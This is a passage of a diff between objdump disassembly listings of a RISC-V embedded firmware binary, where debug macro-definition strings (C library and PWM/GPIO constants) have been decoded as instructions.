+    3f0e:	544e                	lw	s0,240(sp)
+    3f10:	465f 5341 3654      	0x36545341465f
+    3f16:	5f34                	lw	a3,120(a4)
+    3f18:	414d                	li	sp,19
+    3f1a:	2058                	fld	fa4,128(s0)
+    3f1c:	5f5f 4955 544e      	0x544e49555f5f
+    3f22:	465f 5341 3654      	0x36545341465f
+    3f28:	5f34                	lw	a3,120(a4)
+    3f2a:	414d                	li	sp,19
+    3f2c:	5f58                	lw	a4,60(a4)
+    3f2e:	005f 5047 4f49      	0x4f495047005f
+    3f34:	495f 464f 535f      	0x535f464f495f
+    3f3a:	4c45                	li	s8,17
+    3f3c:	3020                	fld	fs0,96(s0)
+    3f3e:	3378                	fld	fa4,224(a4)
+    3f40:	49540043          	fmadd.s	ft0,fs0,fs5,fs1,rne
+    3f44:	454d                	li	a0,19
+    3f46:	5f52                	lw	t5,52(sp)
+    3f48:	4241                	li	tp,16
+    3f4a:	4d495453          	0x4d495453
+    3f4e:	2045                	jal	3fee <__stack_size+0x37ee>
+    3f50:	0034                	addi	a3,sp,8
+    3f52:	535f 5f43 4f58      	0x4f585f43535f
+    3f58:	4550                	lw	a2,12(a0)
+    3f5a:	5f4e                	lw	t5,240(sp)
+    3f5c:	204d4853          	0x204d4853
+    3f60:	3031                	jal	376c <__stack_size+0x2f6c>
+    3f62:	49530033          	0x49530033
+    3f66:	54415f47          	0x54415f47
+    3f6a:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
+    3f6e:	4d5f 5841 5f20      	0x5f2058414d5f
+    3f74:	535f 4749 415f      	0x415f4749535f
+    3f7a:	4f54                	lw	a3,28(a4)
+    3f7c:	494d                	li	s2,19
+    3f7e:	414d5f43          	fmadd.s	ft10,fs10,fs4,fs0,unknown
+    3f82:	5f58                	lw	a4,60(a4)
+    3f84:	005f 525f 4545      	0x4545525f005f
+    3f8a:	544e                	lw	s0,240(sp)
+    3f8c:	495f 494e 5f54      	0x5f54494e495f
+    3f92:	5450                	lw	a2,44(s0)
+    3f94:	5f52                	lw	t5,52(sp)
+    3f96:	455a                	lw	a0,148(sp)
+    3f98:	4f52                	lw	t5,20(sp)
+    3f9a:	4445                	li	s0,17
+    3f9c:	7628                	flw	fa0,104(a2)
+    3f9e:	7261                	lui	tp,0xffff8
+    3fa0:	2029                	jal	3faa <__stack_size+0x37aa>
+    3fa2:	7628207b          	0x7628207b
+    3fa6:	7261                	lui	tp,0xffff8
+    3fa8:	2d29                	jal	45c2 <__stack_size+0x3dc2>
+    3faa:	5f3e                	lw	t5,236(sp)
+    3fac:	69647473          	csrrci	s0,0x696,8
+    3fb0:	206e                	fld	ft0,216(sp)
+    3fb2:	203d                	jal	3fe0 <__stack_size+0x37e0>
+    3fb4:	525f 4545 544e      	0x544e4545525f
+    3fba:	535f 4454 4f49      	0x4f494454535f
+    3fc0:	535f 5254 4145      	0x41455254535f
+    3fc6:	284d                	jal	4078 <__stack_size+0x3878>
+    3fc8:	6176                	flw	ft2,92(sp)
+    3fca:	2c72                	fld	fs8,280(sp)
+    3fcc:	3020                	fld	fs0,96(s0)
+    3fce:	3b29                	jal	3ce8 <__stack_size+0x34e8>
+    3fd0:	2820                	fld	fs0,80(s0)
+    3fd2:	6176                	flw	ft2,92(sp)
+    3fd4:	2972                	fld	fs2,280(sp)
+    3fd6:	3e2d                	jal	3b10 <__stack_size+0x3310>
+    3fd8:	735f 6474 756f      	0x756f6474735f
+    3fde:	2074                	fld	fa3,192(s0)
+    3fe0:	203d                	jal	400e <__stack_size+0x380e>
+    3fe2:	525f 4545 544e      	0x544e4545525f
+    3fe8:	535f 4454 4f49      	0x4f494454535f
+    3fee:	535f 5254 4145      	0x41455254535f
+    3ff4:	284d                	jal	40a6 <__stack_size+0x38a6>
+    3ff6:	6176                	flw	ft2,92(sp)
+    3ff8:	2c72                	fld	fs8,280(sp)
+    3ffa:	3120                	fld	fs0,96(a0)
+    3ffc:	3b29                	jal	3d16 <__stack_size+0x3516>
+    3ffe:	2820                	fld	fs0,80(s0)
+    4000:	6176                	flw	ft2,92(sp)
+    4002:	2972                	fld	fs2,280(sp)
+    4004:	3e2d                	jal	3b3e <__stack_size+0x333e>
+    4006:	735f 6474 7265      	0x72656474735f
+    400c:	2072                	fld	ft0,280(sp)
+    400e:	203d                	jal	403c <__stack_size+0x383c>
+    4010:	525f 4545 544e      	0x544e4545525f
+    4016:	535f 4454 4f49      	0x4f494454535f
+    401c:	535f 5254 4145      	0x41455254535f
+    4022:	284d                	jal	40d4 <__stack_size+0x38d4>
+    4024:	6176                	flw	ft2,92(sp)
+    4026:	2c72                	fld	fs8,280(sp)
+    4028:	3220                	fld	fs0,96(a2)
+    402a:	3b29                	jal	3d44 <__stack_size+0x3544>
+    402c:	2820                	fld	fs0,80(s0)
+    402e:	6176                	flw	ft2,92(sp)
+    4030:	2972                	fld	fs2,280(sp)
+    4032:	3e2d                	jal	3b6c <__stack_size+0x336c>
+    4034:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    403a:	6572                	flw	fa0,28(sp)
+    403c:	6e65                	lui	t3,0x19
+    403e:	2e74                	fld	fa3,216(a2)
+    4040:	725f 6e61 5f64      	0x5f646e61725f
+    4046:	656e                	flw	fa0,216(sp)
+    4048:	7478                	flw	fa4,108(s0)
+    404a:	3d20                	fld	fs0,120(a0)
+    404c:	3120                	fld	fs0,96(a0)
+    404e:	7628203b          	0x7628203b
+    4052:	7261                	lui	tp,0xffff8
+    4054:	2d29                	jal	466e <__stack_size+0x3e6e>
+    4056:	5f3e                	lw	t5,236(sp)
+    4058:	656e                	flw	fa0,216(sp)
+    405a:	725f2e77          	0x725f2e77
+    405e:	6565                	lui	a0,0x19
+    4060:	746e                	flw	fs0,248(sp)
+    4062:	5f2e                	lw	t5,232(sp)
+    4064:	3472                	fld	fs0,312(sp)
+    4066:	2e38                	fld	fa4,88(a2)
+    4068:	735f 6565 5b64      	0x5b646565735f
+    406e:	5d30                	lw	a2,120(a0)
+    4070:	3d20                	fld	fs0,120(a0)
+    4072:	5f20                	lw	s0,120(a4)
+    4074:	4152                	lw	sp,20(sp)
+    4076:	444e                	lw	s0,208(sp)
+    4078:	3834                	fld	fa3,112(s0)
+    407a:	535f 4545 5f44      	0x5f444545535f
+    4080:	3b30                	fld	fa2,112(a4)
+    4082:	2820                	fld	fs0,80(s0)
+    4084:	6176                	flw	ft2,92(sp)
+    4086:	2972                	fld	fs2,280(sp)
+    4088:	3e2d                	jal	3bc2 <__stack_size+0x33c2>
+    408a:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    4090:	6572                	flw	fa0,28(sp)
+    4092:	6e65                	lui	t3,0x19
+    4094:	2e74                	fld	fa3,216(a2)
+    4096:	725f 3834 5f2e      	0x5f2e3834725f
+    409c:	64656573          	csrrsi	a0,0x646,10
+    40a0:	205d315b          	0x205d315b
+    40a4:	203d                	jal	40d2 <__stack_size+0x38d2>
+    40a6:	525f 4e41 3444      	0x34444e41525f
+    40ac:	5f38                	lw	a4,120(a4)
+    40ae:	44454553          	0x44454553
+    40b2:	315f 203b 7628      	0x7628203b315f
+    40b8:	7261                	lui	tp,0xffff8
+    40ba:	2d29                	jal	46d4 <__stack_size+0x3ed4>
+    40bc:	5f3e                	lw	t5,236(sp)
+    40be:	656e                	flw	fa0,216(sp)
+    40c0:	725f2e77          	0x725f2e77
+    40c4:	6565                	lui	a0,0x19
+    40c6:	746e                	flw	fs0,248(sp)
+    40c8:	5f2e                	lw	t5,232(sp)
+    40ca:	3472                	fld	fs0,312(sp)
+    40cc:	2e38                	fld	fa4,88(a2)
+    40ce:	735f 6565 5b64      	0x5b646565735f
+    40d4:	5d32                	lw	s10,44(sp)
+    40d6:	3d20                	fld	fs0,120(a0)
+    40d8:	5f20                	lw	s0,120(a4)
+    40da:	4152                	lw	sp,20(sp)
+    40dc:	444e                	lw	s0,208(sp)
+    40de:	3834                	fld	fa3,112(s0)
+    40e0:	535f 4545 5f44      	0x5f444545535f
+    40e6:	3b32                	fld	fs6,296(sp)
+    40e8:	2820                	fld	fs0,80(s0)
+    40ea:	6176                	flw	ft2,92(sp)
+    40ec:	2972                	fld	fs2,280(sp)
+    40ee:	3e2d                	jal	3c28 <__stack_size+0x3428>
+    40f0:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    40f6:	6572                	flw	fa0,28(sp)
+    40f8:	6e65                	lui	t3,0x19
+    40fa:	2e74                	fld	fa3,216(a2)
+    40fc:	725f 3834 5f2e      	0x5f2e3834725f
+    4102:	756d                	lui	a0,0xffffb
+    4104:	746c                	flw	fa1,108(s0)
+    4106:	205d305b          	0x205d305b
+    410a:	203d                	jal	4138 <__stack_size+0x3938>
+    410c:	525f 4e41 3444      	0x34444e41525f
+    4112:	5f38                	lw	a4,120(a4)
+    4114:	554d                	li	a0,-13
+    4116:	544c                	lw	a1,44(s0)
+    4118:	305f 203b 7628      	0x7628203b305f
+    411e:	7261                	lui	tp,0xffff8
+    4120:	2d29                	jal	473a <__stack_size+0x3f3a>
+    4122:	5f3e                	lw	t5,236(sp)
+    4124:	656e                	flw	fa0,216(sp)
+    4126:	725f2e77          	0x725f2e77
+    412a:	6565                	lui	a0,0x19
+    412c:	746e                	flw	fs0,248(sp)
+    412e:	5f2e                	lw	t5,232(sp)
+    4130:	3472                	fld	fs0,312(sp)
+    4132:	2e38                	fld	fa4,88(a2)
+    4134:	6d5f 6c75 5b74      	0x5b746c756d5f
+    413a:	5d31                	li	s10,-20
+    413c:	3d20                	fld	fs0,120(a0)
+    413e:	5f20                	lw	s0,120(a4)
+    4140:	4152                	lw	sp,20(sp)
+    4142:	444e                	lw	s0,208(sp)
+    4144:	3834                	fld	fa3,112(s0)
+    4146:	4d5f 4c55 5f54      	0x5f544c554d5f
+    414c:	3b31                	jal	3e68 <__stack_size+0x3668>
+    414e:	2820                	fld	fs0,80(s0)
+    4150:	6176                	flw	ft2,92(sp)
+    4152:	2972                	fld	fs2,280(sp)
+    4154:	3e2d                	jal	3c8e <__stack_size+0x348e>
+    4156:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    415c:	6572                	flw	fa0,28(sp)
+    415e:	6e65                	lui	t3,0x19
+    4160:	2e74                	fld	fa3,216(a2)
+    4162:	725f 3834 5f2e      	0x5f2e3834725f
+    4168:	756d                	lui	a0,0xffffb
+    416a:	746c                	flw	fa1,108(s0)
+    416c:	205d325b          	0x205d325b
+    4170:	203d                	jal	419e <__stack_size+0x399e>
+    4172:	525f 4e41 3444      	0x34444e41525f
+    4178:	5f38                	lw	a4,120(a4)
+    417a:	554d                	li	a0,-13
+    417c:	544c                	lw	a1,44(s0)
+    417e:	325f 203b 7628      	0x7628203b325f
+    4184:	7261                	lui	tp,0xffff8
+    4186:	2d29                	jal	47a0 <__stack_size+0x3fa0>
+    4188:	5f3e                	lw	t5,236(sp)
+    418a:	656e                	flw	fa0,216(sp)
+    418c:	725f2e77          	0x725f2e77
+    4190:	6565                	lui	a0,0x19
+    4192:	746e                	flw	fs0,248(sp)
+    4194:	5f2e                	lw	t5,232(sp)
+    4196:	3472                	fld	fs0,312(sp)
+    4198:	2e38                	fld	fa4,88(a2)
+    419a:	615f 6464 3d20      	0x3d206464615f
+    41a0:	5f20                	lw	s0,120(a4)
+    41a2:	4152                	lw	sp,20(sp)
+    41a4:	444e                	lw	s0,208(sp)
+    41a6:	3834                	fld	fa3,112(s0)
+    41a8:	415f 4444 203b      	0x203b4444415f
+    41ae:	007d                	c.nop	31
+    41b0:	5f5f 4c46 3654      	0x36544c465f5f
+    41b6:	5834                	lw	a3,112(s0)
+    41b8:	4e5f 524f 5f4d      	0x5f4d524f4e5f
+    41be:	414d                	li	sp,19
+    41c0:	5f58                	lw	a4,60(a4)
+    41c2:	205f 2e31 3831      	0x38312e31205f
+    41c8:	3739                	jal	40d6 <__stack_size+0x38d6>
+    41ca:	39343133          	0x39343133
+    41ce:	3335                	jal	3efa <__stack_size+0x36fa>
+    41d0:	3735                	jal	40fc <__stack_size+0x38fc>
+    41d2:	3332                	fld	ft6,296(sp)
+    41d4:	3731                	jal	40e0 <__stack_size+0x38e0>
+    41d6:	3536                	fld	fa0,360(sp)
+    41d8:	3830                	fld	fa2,112(s0)
+    41da:	3735                	jal	4106 <__stack_size+0x3906>
+    41dc:	3935                	jal	3e18 <__stack_size+0x3618>
+    41de:	36363233          	0x36363233
+    41e2:	3832                	fld	fa6,296(sp)
+    41e4:	3030                	fld	fa2,96(s0)
+    41e6:	65323037          	lui	zero,0x65323
+    41ea:	3339342b          	0x3339342b
+    41ee:	4632                	lw	a2,12(sp)
+    41f0:	3436                	fld	fs0,360(sp)
+    41f2:	0078                	addi	a4,sp,12
+    41f4:	4955                	li	s2,21
+    41f6:	544e                	lw	s0,240(sp)
+    41f8:	414d                	li	sp,19
+    41fa:	5f58                	lw	a4,60(a4)
+    41fc:	425f0043          	fmadd.d	ft0,ft10,ft5,fs0,rne
+    4200:	575f4453          	0x575f4453
+    4204:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+    4208:	545f 205f 5f00      	0x5f00205f545f
+    420e:	545f4353          	0x545f4353
+    4212:	5059                	c.li	zero,-10
+    4214:	4445                	li	s0,17
+    4216:	4d5f 4d45 524f      	0x524f4d454d5f
+    421c:	5f59                	li	t5,-10
+    421e:	454a424f          	0x454a424f
+    4222:	20535443          	fmadd.s	fs0,ft6,ft5,ft4,unknown
+    4226:	3139                	jal	3e34 <__stack_size+0x3634>
+    4228:	5f00                	lw	s0,56(a4)
+    422a:	535f 4843 5241      	0x52414843535f
+    4230:	575f 4449 4854      	0x48544449575f
+    4236:	5f5f 3820 4400      	0x440038205f5f
+    423c:	414d                	li	sp,19
+    423e:	435f 5f48 4241      	0x42415f48435f
+    4244:	5f54524f          	fnmadd.q	ft4,fs0,fs5,fa1,unknown
+    4248:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
+    424c:	7830                	flw	fa2,112(s0)
+    424e:	3034                	fld	fa3,96(s0)
+    4250:	5f00                	lw	s0,56(a4)
+    4252:	4f5f 4452 5245      	0x524544524f5f
+    4258:	505f 5044 455f      	0x455f5044505f
+    425e:	444e                	lw	s0,208(sp)
+    4260:	4149                	li	sp,18
+    4262:	5f4e                	lw	t5,240(sp)
+    4264:	205f 3433 3231      	0x32313433205f
+    426a:	5f00                	lw	s0,56(a4)
+    426c:	415f 4f54 494d      	0x494d4f54415f
+    4272:	43415f43          	fmadd.d	ft10,ft2,fs4,fs0,unknown
+    4276:	5551                	li	a0,-12
+    4278:	5249                	li	tp,-14
+    427a:	2045                	jal	431a <__stack_size+0x3b1a>
+    427c:	0032                	c.slli	zero,0xc
+    427e:	5750                	lw	a2,44(a4)
+    4280:	5f4d                	li	t5,-13
+    4282:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
+    4286:	30504d43          	fmadd.s	fs10,ft0,ft5,ft6,rmm
+    428a:	544e4543          	0x544e4543
+    428e:	5245                	li	tp,-15
+    4290:	3020                	fld	fs0,96(s0)
+    4292:	3078                	fld	fa4,224(s0)
+    4294:	3030                	fld	fa2,96(s0)
+    4296:	3031                	jal	3aa2 <__stack_size+0x32a2>
+    4298:	3030                	fld	fa2,96(s0)
+    429a:	0030                	addi	a2,sp,8
+    429c:	5f46                	lw	t5,112(sp)
+    429e:	54564e43          	0x54564e43
+    42a2:	3120                	fld	fs0,96(a0)
+    42a4:	0032                	c.slli	zero,0xc
+    42a6:	5f5f 4e49 5f54      	0x5f544e495f5f
+    42ac:	4146                	lw	sp,80(sp)
+    42ae:	32335453          	0x32335453
+    42b2:	575f 4449 4854      	0x48544449575f
+    42b8:	5f5f 3320 0032      	0x3233205f5f
+    42be:	5f5f 4e49 5f54      	0x5f544e495f5f
+    42c4:	4146                	lw	sp,80(sp)
+    42c6:	34365453          	0x34365453
+    42ca:	545f 5059 5f45      	0x5f455059545f
+    42d0:	205f 6f6c 676e      	0x676e6f6c205f
+    42d6:	6c20                	flw	fs0,88(s0)
+    42d8:	20676e6f          	jal	t3,7a4de <__stack_size+0x79cde>
+    42dc:	6e69                	lui	t3,0x1a
+    42de:	0074                	addi	a3,sp,12
+    42e0:	5f5f 6f6e 6e69      	0x6e696f6e5f5f
+    42e6:	696c                	flw	fa1,84(a0)
+    42e8:	656e                	flw	fa0,216(sp)
+    42ea:	5f20                	lw	s0,120(a4)
+    42ec:	615f 7474 6972      	0x69727474615f
+    42f2:	7562                	flw	fa0,56(sp)
+    42f4:	6574                	flw	fa3,76(a0)
+    42f6:	5f5f 2820 5f28      	0x5f2828205f5f
+    42fc:	6e5f 696f 6c6e      	0x6c6e696f6e5f
+    4302:	6e69                	lui	t3,0x1a
+    4304:	5f65                	li	t5,-7
+    4306:	295f 0029 5f53      	0x5f530029295f
+    430c:	5349                	li	t1,-14
+    430e:	4b434f53          	0x4b434f53
+    4312:	6d28                	flw	fa0,88(a0)
+    4314:	2029                	jal	431e <__stack_size+0x3b1e>
+    4316:	2828                	fld	fa0,80(s0)
+    4318:	6d28                	flw	fa0,88(a0)
+    431a:	2629                	jal	4624 <__stack_size+0x3e24>
+    431c:	495f 4d46 2954      	0x29544d46495f
+    4322:	3d20                	fld	fs0,120(a0)
+    4324:	203d                	jal	4352 <__stack_size+0x3b52>
+    4326:	495f 5346 434f      	0x434f5346495f
+    432c:	5f00294b          	fnmsub.q	fs2,ft0,fa6,fa1,rdn
+    4330:	615f 7474 6972      	0x69727474615f
+    4336:	7562                	flw	fa0,56(sp)
+    4338:	6574                	flw	fa3,76(a0)
+    433a:	705f 7275 5f65      	0x5f657275705f
+    4340:	205f 5f00 4148      	0x41485f00205f
+    4346:	4556                	lw	a0,84(sp)
+    4348:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+    434e:	4f44                	lw	s1,28(a4)
+    4350:	4255                	li	tp,21
+    4352:	454c                	lw	a1,12(a0)
+    4354:	3120                	fld	fs0,96(a0)
+    4356:	5f00                	lw	s0,56(a4)
+    4358:	495f 544e 4c5f      	0x4c5f544e495f
+    435e:	4145                	li	sp,17
+    4360:	34365453          	0x34365453
+    4364:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    436a:	3020                	fld	fs0,96(s0)
+    436c:	3778                	fld	fa4,232(a4)
+    436e:	6666                	flw	fa2,88(sp)
+    4370:	6666                	flw	fa2,88(sp)
+    4372:	6666                	flw	fa2,88(sp)
+    4374:	6666                	flw	fa2,88(sp)
+    4376:	6666                	flw	fa2,88(sp)
+    4378:	6666                	flw	fa2,88(sp)
+    437a:	6666                	flw	fa2,88(sp)
+    437c:	4c66                	lw	s8,88(sp)
+    437e:	004c                	addi	a1,sp,4
+    4380:	535f 5f43 4f58      	0x4f585f43535f
+    4386:	4550                	lw	a2,12(a0)
+    4388:	5f4e                	lw	t5,240(sp)
+    438a:	50595243          	fmadd.s	ft4,fs2,ft5,fa0,unknown
+    438e:	2054                	fld	fa3,128(s0)
+    4390:	3639                	jal	3e9e <__stack_size+0x369e>
+    4392:	6100                	flw	fs0,0(a0)
+    4394:	6c6c                	flw	fa1,92(s0)
+    4396:	2861636f          	jal	t1,1a61c <__stack_size+0x19e1c>
+    439a:	657a6973          	csrrsi	s2,0x657,20
+    439e:	2029                	jal	43a8 <__stack_size+0x3ba8>
+    43a0:	5f5f 7562 6c69      	0x6c6975625f5f
+    43a6:	6974                	flw	fa3,84(a0)
+    43a8:	5f6e                	lw	t5,248(sp)
+    43aa:	6c61                	lui	s8,0x18
+    43ac:	6f6c                	flw	fa1,92(a4)
+    43ae:	73286163          	bltu	a6,s2,4ad0 <__stack_size+0x42d0>
+    43b2:	7a69                	lui	s4,0xffffa
+    43b4:	2965                	jal	486c <__stack_size+0x406c>
+    43b6:	5f00                	lw	s0,56(a4)
+    43b8:	555f 4e49 3354      	0x33544e49555f
+    43be:	5f32                	lw	t5,44(sp)
+    43c0:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    43c4:	6320                	flw	fs0,64(a4)
+    43c6:	2320                	fld	fs0,64(a4)
+    43c8:	4c552023          	sw	t0,1216(a0) # 194c0 <__stack_size+0x18cc0>
+    43cc:	5f00                	lw	s0,56(a4)
+    43ce:	575f 4e49 5f54      	0x5f544e49575f
+    43d4:	54444957          	0x54444957
+    43d8:	5f48                	lw	a0,60(a4)
+    43da:	205f 3233 5500      	0x55003233205f
+    43e0:	4e49                	li	t3,18
+    43e2:	3354                	fld	fa3,160(a4)
+    43e4:	5f32                	lw	t5,44(sp)
+    43e6:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    43ea:	5f20                	lw	s0,120(a4)
+    43ec:	555f 4e49 3354      	0x33544e49555f
+    43f2:	5f32                	lw	t5,44(sp)
+    43f4:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    43f8:	4600                	lw	s0,8(a2)
+    43fa:	535f 5445 574f      	0x574f5445535f
+    4400:	204e                	fld	ft0,208(sp)
+    4402:	0036                	c.slli	zero,0xd
+    4404:	435f 4f4c 4b43      	0x4b434f4c435f
+    440a:	4449                	li	s0,18
+    440c:	545f 205f 6e75      	0x6e75205f545f
+    4412:	6e676973          	csrrsi	s2,0x6e6,14
+    4416:	6465                	lui	s0,0x19
+    4418:	6c20                	flw	fs0,88(s0)
+    441a:	00676e6f          	jal	t3,7a420 <__stack_size+0x79c20>
+    441e:	5f5f 6573 7463      	0x746365735f5f
+    4424:	6f69                	lui	t5,0x1a
+    4426:	286e                	fld	fa6,216(sp)
+    4428:	2978                	fld	fa4,208(a0)
+    442a:	5f20                	lw	s0,120(a4)
+    442c:	615f 7474 6972      	0x69727474615f
+    4432:	7562                	flw	fa0,56(sp)
+    4434:	6574                	flw	fa3,76(a0)
+    4436:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    443c:	74636573          	csrrsi	a0,0x746,6
+    4440:	6f69                	lui	t5,0x1a
+    4442:	5f6e                	lw	t5,248(sp)
+    4444:	285f 2978 2929      	0x29292978285f
+    444a:	5f00                	lw	s0,56(a4)
+    444c:	4e46                	lw	t3,80(sp)
+    444e:	5454434f          	0x5454434f
     4452:	2059                	jal	44d8 <__stack_size+0x3cd8>
     4454:	7830                	flw	fa2,112(s0)
-    4456:	3032                	fld	ft0,296(sp)
+    4456:	3038                	fld	fa4,96(s0)
     4458:	3030                	fld	fa2,96(s0)
-    445a:	3030                	fld	fa2,96(s0)
-    445c:	5f00                	lw	s0,56(a4)
-    445e:	4e5f 4c55 414c      	0x414c4c554e5f
-    4464:	4942                	lw	s2,16(sp)
-    4466:	494c                	lw	a1,20(a0)
-    4468:	5954                	lw	a3,52(a0)
-    446a:	505f 4152 4d47      	0x4d474152505f
-    4470:	5f41                	li	t5,-16
-    4472:	4f50                	lw	a2,28(a4)
-    4474:	2050                	fld	fa2,128(s0)
-    4476:	5f00                	lw	s0,56(a4)
-    4478:	454e                	lw	a0,208(sp)
-    447a:	42494c57          	0x42494c57
-    447e:	565f 5245 4953      	0x49535245565f
-    4484:	485f4e4f          	fnmadd.s	ft8,ft10,ft5,fs1,rmm
-    4488:	5f5f 3120 5000      	0x500031205f5f
-    448e:	435f4d57          	0x435f4d57
-    4492:	544e554f          	0x544e554f
-    4496:	3020                	fld	fs0,96(s0)
-    4498:	3078                	fld	fa4,224(s0)
-    449a:	0038                	addi	a4,sp,8
-    449c:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
-    44a0:	495f 504e 5455      	0x5455504e495f
-    44a6:	565f 4c41 3020      	0x30204c41565f
-    44ac:	3078                	fld	fa4,224(s0)
-    44ae:	0030                	addi	a2,sp,8
-    44b0:	5f5f 656e 6465      	0x6465656e5f5f
-    44b6:	775f 6e69 5f74      	0x5f746e69775f
-    44bc:	0074                	addi	a3,sp,12
-    44be:	535f 5f43 5845      	0x58455f43535f
-    44c4:	5250                	lw	a2,36(a2)
-    44c6:	4e5f 5345 5f54      	0x5f5453454e5f
-    44cc:	414d                	li	sp,19
-    44ce:	2058                	fld	fa4,128(s0)
-    44d0:	3436                	fld	fs0,360(sp)
-    44d2:	5f00                	lw	s0,56(a4)
-    44d4:	415f 4f54 494d      	0x494d4f54415f
-    44da:	45525f43          	0x45525f43
-    44de:	414c                	lw	a1,4(a0)
-    44e0:	4558                	lw	a4,12(a0)
-    44e2:	2044                	fld	fs1,128(s0)
-    44e4:	0030                	addi	a2,sp,8
-    44e6:	535f 5f43 3656      	0x36565f43535f
-    44ec:	4c5f 4250 4749      	0x474942504c5f
-    44f2:	4f5f 4646 4942      	0x494246464f5f
-    44f8:	535f2047          	fmsub.d	ft0,ft10,fs5,fa0,rdn
-    44fc:	37565f43          	fmadd.q	ft10,fa2,fs5,ft6,unknown
-    4500:	4c5f 4250 4749      	0x474942504c5f
-    4506:	4f5f 4646 4942      	0x494246464f5f
-    450c:	535f0047          	fmsub.d	ft0,ft10,fs5,fa0,rne
-    4510:	59535f43          	fmadd.s	ft10,ft6,fs5,fa1,unknown
-    4514:	4c4d                	li	s8,19
-    4516:	5f504f4f          	fnmadd.q	ft10,ft0,fs5,fa1,rmm
-    451a:	414d                	li	sp,19
-    451c:	2058                	fld	fa4,128(s0)
-    451e:	53003937          	lui	s2,0x53003
-    4522:	495f 4753 4449      	0x44494753495f
-    4528:	3020                	fld	fs0,96(s0)
-    452a:	3030                	fld	fa2,96(s0)
-    452c:	3032                	fld	ft0,296(sp)
-    452e:	3030                	fld	fa2,96(s0)
-    4530:	5f00                	lw	s0,56(a4)
-    4532:	5f535953          	0x5f535953
-    4536:	545f 4d49 5645      	0x56454d49545f
-    453c:	4c41                	li	s8,16
-    453e:	485f 205f 5300      	0x5300205f485f
-    4544:	44454843          	0x44454843
-    4548:	4f5f 4854 5245      	0x524548544f5f
-    454e:	3020                	fld	fs0,96(s0)
-    4550:	5f00                	lw	s0,56(a4)
-    4552:	4f49                	li	t5,18
-    4554:	424e                	lw	tp,208(sp)
-    4556:	2046                	fld	ft0,80(sp)
-    4558:	0032                	c.slli	zero,0xc
-    455a:	5f5f 424f 4f53      	0x4f53424f5f5f
-    4560:	454c                	lw	a1,12(a0)
-    4562:	4554                	lw	a3,12(a0)
-    4564:	4d5f 5441 5f48      	0x5f4854414d5f
-    456a:	4544                	lw	s1,12(a0)
-    456c:	4146                	lw	sp,80(sp)
-    456e:	4c55                	li	s8,21
-    4570:	2054                	fld	fa3,128(s0)
-    4572:	0031                	c.nop	12
-    4574:	5f5f 4f50 4953      	0x49534f505f5f
-    457a:	5f58                	lw	a4,60(a4)
-    457c:	4956                	lw	s2,84(sp)
-    457e:	4c424953          	0x4c424953
-    4582:	2045                	jal	4622 <__stack_size+0x3e22>
-    4584:	3032                	fld	ft0,296(sp)
-    4586:	3830                	fld	fa2,112(s0)
-    4588:	3930                	fld	fa2,112(a0)
-    458a:	5f00                	lw	s0,56(a4)
-    458c:	4e5f 5745 494c      	0x494c57454e5f
-    4592:	5f42                	lw	t5,48(sp)
-    4594:	205f 0033 535f      	0x535f0033205f
-    459a:	52545f43          	fmadd.d	ft10,fs0,ft5,fa0,unknown
-    459e:	4341                	li	t1,16
-    45a0:	2045                	jal	4640 <__stack_size+0x3e40>
-    45a2:	3338                	fld	fa4,96(a4)
-    45a4:	5f00                	lw	s0,56(a4)
-    45a6:	725f 7465 7275      	0x72757465725f
-    45ac:	736e                	flw	ft6,248(sp)
-    45ae:	745f 6977 6563      	0x65636977745f
-    45b4:	5f20                	lw	s0,120(a4)
-    45b6:	615f 7474 6972      	0x69727474615f
-    45bc:	7562                	flw	fa0,56(sp)
-    45be:	6574                	flw	fa3,76(a0)
-    45c0:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    45c6:	6572                	flw	fa0,28(sp)
-    45c8:	7574                	flw	fa3,108(a0)
-    45ca:	6e72                	flw	ft8,28(sp)
-    45cc:	77745f73          	csrrwi	t5,0x777,8
-    45d0:	6369                	lui	t1,0x1a
-    45d2:	5f65                	li	t5,-7
-    45d4:	295f 0029 5f5f      	0x5f5f0029295f
-    45da:	4244                	lw	s1,4(a2)
-    45dc:	5f4c                	lw	a1,60(a4)
-    45de:	4544                	lw	s1,12(a0)
-    45e0:	4f4e                	lw	t5,208(sp)
-    45e2:	4d52                	lw	s10,20(sp)
-    45e4:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-    45ea:	2820                	fld	fs0,80(s0)
-    45ec:	6428                	flw	fa0,72(s0)
-    45ee:	6c62756f          	jal	a0,2bcb4 <__stack_size+0x2b4b4>
-    45f2:	2965                	jal	4aaa <__stack_size+0x42aa>
-    45f4:	2e34                	fld	fa3,88(a2)
-    45f6:	3439                	jal	4004 <__stack_size+0x3804>
-    45f8:	3630                	fld	fa2,104(a2)
-    45fa:	3635                	jal	4126 <__stack_size+0x3926>
-    45fc:	3534                	fld	fa3,104(a0)
-    45fe:	3438                	fld	fa4,104(s0)
-    4600:	3231                	jal	3f0c <__stack_size+0x370c>
-    4602:	3634                	fld	fa3,104(a2)
-    4604:	3435                	jal	4030 <__stack_size+0x3830>
-    4606:	3134                	fld	fa3,96(a0)
-    4608:	36353637          	lui	a2,0x36353
-    460c:	3738                	fld	fa4,104(a4)
-    460e:	3239                	jal	3f1c <__stack_size+0x371c>
-    4610:	3638                	fld	fa4,104(a2)
-    4612:	3238                	fld	fa4,96(a2)
-    4614:	3132                	fld	ft2,296(sp)
-    4616:	65323733          	0x65323733
-    461a:	332d                	jal	4344 <__stack_size+0x3b44>
-    461c:	3432                	fld	fs0,296(sp)
-    461e:	294c                	fld	fa1,144(a0)
-    4620:	5f00                	lw	s0,56(a4)
-    4622:	525f4353          	0x525f4353
-    4626:	5f45                	li	t5,-15
-    4628:	5544                	lw	s1,44(a0)
